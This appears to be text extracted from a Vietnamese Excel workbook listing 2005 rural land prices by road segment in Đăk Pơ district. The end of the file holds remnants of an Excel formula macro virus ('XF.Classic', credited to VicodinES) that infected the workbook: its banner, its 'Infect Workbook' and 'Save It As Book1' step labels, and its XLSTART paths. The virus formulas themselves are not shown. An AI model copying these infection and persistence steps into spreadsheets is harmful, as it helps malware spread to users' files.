		12		Đường vào đội 6 Tân Bình (Tân An)		Quốc lộ 19		Đường thứ nhất phía đông nhà thờ An Sơn		1		11		100

		13		Đường thứ hai phía đông nhà thờ An Sơn (Tân An)		Quốc lộ 19		Đường thứ nhất phía đông nhà thờ An Sơn		1		11		100

		14		Đường thứ nhất phía đông nhà thờ An Sơn (Tân An)		Quốc lộ 19		Ngã tư đường Ri		1		12		80

		15		Đường đi Tân Lương (Tân An)		Quốc lộ 19		Ngã 3 đường QH số 5 chợ Tân An		1		7		250

						Tiếp		Đường vào nhà thờ Đồng Sơn		1		8		200

						Tiếp		Ngã 3 đi trạm bơm Tân Hội		1		10		150

						Tiếp		hết đường BTXM		1		11		100

		16		Đường vào trường Mạc Đĩnh Chi (Tân An)		Quốc lộ 19		Hết đường		1		12		80

		17		Đường QH số 1 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Quốc lộ 19		Đường QH số 4 -Khu QHTT chợ Chí Công (xã Tân An)		1		3		700

						Tiếp		Đường QH số 5-Khu QHTT chợ Chí Công (xã Tân An)		1		9		200

		18		Đường QH số 2 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Quốc lộ 19		Đường QH số 4 -Khu QHTT chợ Chí Công (xã Tân An)		1		2		800

						Tiếp		Đường QH số 5-Khu QH trung tâm chợ Chí Công (xã Tân An)		1		9		200

		19		Đường QH số 3 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Đường QH số 1 -Khu QHTT chợ Chí Công (xã Tân An)		Đường QH số 2 -Khu QHTTchợ Chí Công (xã Tân An)		1		2		800

						Tiếp		Đường  QH số 3A -Khu QHTTchợ Chí Công (xã Tân An)		1		8		250

						Tiếp		Đường QH số 5-Khu QHTTchợ Chí Công (xã Tân An)		1		10		150

		20		Đường QH số 4 -Khu QHTT chợ Chí Công (xã Tân An)		Đường QH số 1 -Khu QHTT chợ Chí Công (xã Tân An)		Đường QH số 2 -Khu QHTTchợ Chí Công (xã Tân An)		1		6		400

		21		Đường QH số 5-Khu QH trung tâm chợ Chí Công (xã Tân An)		Quốc lộ 19		Hẻm phía nam đường QH số 3		1		10		150

						Tiếp		Giáp đường đi Tân Lương		1		11		100

		22		Đường đi Yang Bắc (ngã 3 Đồng chè đi vào)		Quốc lộ 19		Cống thứ 3		1		9		200

						Tiếp		Ranh giới xã Yang Bắc		1		11		100

		23		Các tuyến đường còn lại trên địa bàn xã Cư An, Tân An						1		14		50

		II. Xã Phú An

		1		Đường 674 (Phú An)		RG thị xã An Khê		Suối Màu		2		2		170

						Tiếp		Cầu Tờ Đo		2		5		100

						Tiếp		Km số 7		2		4		120

						Tiếp		Ranh giới xã Yang Bắc		2		8		60

		2		Đường đi Ya Hội		RG thị xã An Khê		Cống phía bắc ngã ba đi thôn An Hòa		2		7		70

						Tiếp		RG xã Ya Hội		2		8		60

		3		Các đường trong điểm công nghiệp Phú An						2		7		70

		4		Đường vào thôn An Lợi (Phú An)		RG thị xã An Khê		Ngã ba thứ nhất		2		8		60

		5		Đường dọc theo Suối Cái (Phú An)		Tỉnh lộ 674		Đường liên thôn An Phong		2		8		60

		6		Đường vào thôn An Hòa (Phú An)		Tỉnh lộ 674		Đường liên thôn An Phong		2		6		80

		7		Đường dọc mương thủy lợi Phú An		Tỉnh lộ 674		Ngã 3 thứ ba		2		6		80

						Tiếp		Đường liên thôn An Phong		2		8		60

		8		Các tuyến đường còn lại trên địa bàn xã Phú An						2		10		35

		III. Xã An Thành

		1		Quốc lộ 19		Km95 (Suối Đak Pơ)		Km96 (Đỉnh dốc 15%)		2		1		300

						Tiếp		Cổng trường Kim Đồng		2		5		100

						Tiếp		Cầu 25		2		4		120

						Tiếp		Ranh giới xã Hà Tam		2		5		100

		2		Đường vào xã Nam		Quốc lộ 19		Cống chân dốc đá		2		8		60

						Tiếp		Hết đường		2		9		45

		3		Các tuyến đường còn lại trên địa bàn xã An Thành						2		10		35

		IV. Xã Hà Tam

		1		Quốc lộ 19		Ranh giới xã An Thành		Km 103		2		7		70

						Tiếp		Cầu 27		2		8		60

						Tiếp		Km 106		2		3		140

						Tiếp		Cổng Trung đoàn 7		2		4		120

						Tiếp		Km 108		2		5		100

						Tiếp		RG. Huyện Mang Yang		2		8		60

		2		Đường 662		Quốc lộ 19		Trạm Kiểm lâm		2		9		45

		3		Đường vào trường cấp II Hà Tam		Quốc lộ 19		Cống (Cổng trường)		2		9		45

		4		Đường sau trường cấp I Hà Tam		Đường vào trường cấp II		Đường vào làng H'way		2		9		45

		5		Đường phía tây trường cấp I Hà Tam		Quốc lộ 19		Đường sau trường cấp I		2		9		45

		6		Đường vào làng H'way (Hà Tam)		Quốc lộ 19		Cống		2		9		45

		7		Đường vào thôn 2 (Hà Tam)		Quốc lộ 19		Cống		2		9		45

		8		Đường hẻm dọc phía tây hồ Trung đoàn 7 (Hà Tam)		Quốc lộ 19		Đất Trung đoàn 7		2		9		45

		9		Đường hẻm dọc phía đông hồ Trung đoàn 7 (Hà Tam)		Quốc lộ 19		Đất Trung đoàn 7		2		9		45

		10		Các tuyến đường còn lại trên địa bàn xã Hà Tam						2		10		35

		V. Xã Yang Bắc

		1		Đường đi Yang Bắc (ngã 3 Đồng chè đi vào)		Ranh giới xã Yang Bắc		Hồ thôn Trang		3		1		60

						Tiếp		Bờ tràn		3		3		40

						Tiếp		Cống thứ nhất qua khỏi UBND xã Yang Bắc		3		2		50

		2		Đường 662		Ngã ba làng Krông Hra		Hết ranh giới huyện		3		3		40

		3		Đường 674		Ranh giới xã Phú An		Hết ranh giới huyện		3		1		60

		4		Các tuyến đường còn lại trên địa bàn xã Yang Bắc						3		5		20

		VI. Xã Ya Hội

		1		Đường đi Ya Hội (Cả đường cũ và đường mới đi làng Groi II)		Ngã 3 đường BTXM (đường cũ - đường đi làng Groi II)		Trung tâm xã Ya Hội		3		4		30

		2		Các tuyến đường trên địa bàn xã Ya Hội						3		5		20



&L&"Times New Roman,Regular"&10Giá đất Khu nông thôn&C&P+8 &R&"Times New Roman,Regular"&10Huyện Đăk Pơ

Quốc lộ 19

Quốc lộ 19

Quốc lộ 19

Quốc lộ 19

Quốc lộ 19



XXXXXXXX

		Gia dat ap dung 1.01.2005.xls

		Book1

		C:\Program Files\Microsoft Office\Office\xlstart\Book1.				**Auto and On Sheet Starts Here**

		3

		Classic.Poppy by VicodinES

		With Lord Natas

		An Excel Formula Macro Virus (XF.Classic)

		Hydrocodone/APAP 10-650 For Your Computer

		(C) The Narkotic Network 1998

		**Simple Payload**

						**Set Our Values and Paths**

		**Add New Workbook, Infect It, Save It As Book1.xls**

						**Infect Workbook**





XXXXXXX0

		

		**Our Values and Paths**				**Set Our Values and Paths**

		Gia dat ap dung 1.01.2005.xls

		Book1

		C:\Documents and Settings\TAI CHINH DAKPO\Application Data\Microsoft\Excel\XLSTART\Book1.

		3

		**Add New Workbook, Infect It, Save It As Book1.**

						**Infect Workbook**

						**Auto and On Sheet Starts Here**





00000000

		






